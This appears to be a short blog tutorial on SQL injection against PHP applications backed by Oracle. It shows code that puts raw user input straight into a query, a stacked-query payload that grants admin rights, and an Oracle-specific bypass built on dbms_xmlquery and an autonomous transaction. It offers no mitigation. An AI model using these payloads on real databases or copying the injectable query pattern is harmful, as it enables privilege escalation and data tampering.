How could you do SQL Injection with Oracle?

SQL Injection are the top one web application security risk ranked according to Open Web Application Security Project (OWASP) . Basically it allows the attackers to attack the database through a website. If the vulnerability is present, hacker could get any data or even drop your database! Basically it grants the hacker DBA roles. Probably one interesting thing is to look at how we could attack an application using SQL Injection. Let’s talk about a basic example. I am going to use PHP as an example, although I don’t quite like using PHP (personal preference). If you are using Ruby on Rails, you shouldn’t meet this kind of problem.

"select name from users where id ='$user_id'";

The problem lies the direct input of the user input of $user_id in the sql statement. If the user submit the $user_id as follows, it can do any thing:

shanison';update users set is_admin=1 where id='shanison

With this input, the above sql becomes:

"select name from users where id ='shanison';update users set is_admin=1 where id='shanison'";

And this is how you can make yourself becomes admin. This is fundamental idea be hide the SQL Injection. However if you do this for a php application connected with oracle with the following codes, what would you get?

$statement = oci_parse($connection, "select name from users where id='$user_id'");
oci_execute($statement);

You will get the following error ORA-00911: invalid character. The problem lies with the sql statement separator ;. Oracle has a protection that it won’t allow multiple statements to be exectued at the same time, which makes the above attack impossible. However, there is one smart way to bypass this this limitation, here is one sql statement you can use:

shanison' and (select dbms_xmlquery.newcontext(' declare pragma
autonomous_transaction; begin execute immediate ''update users set
is_admin = 1 where id=:usr'' using ''shanison''; commit;
end;') from dual) is not null or '' = '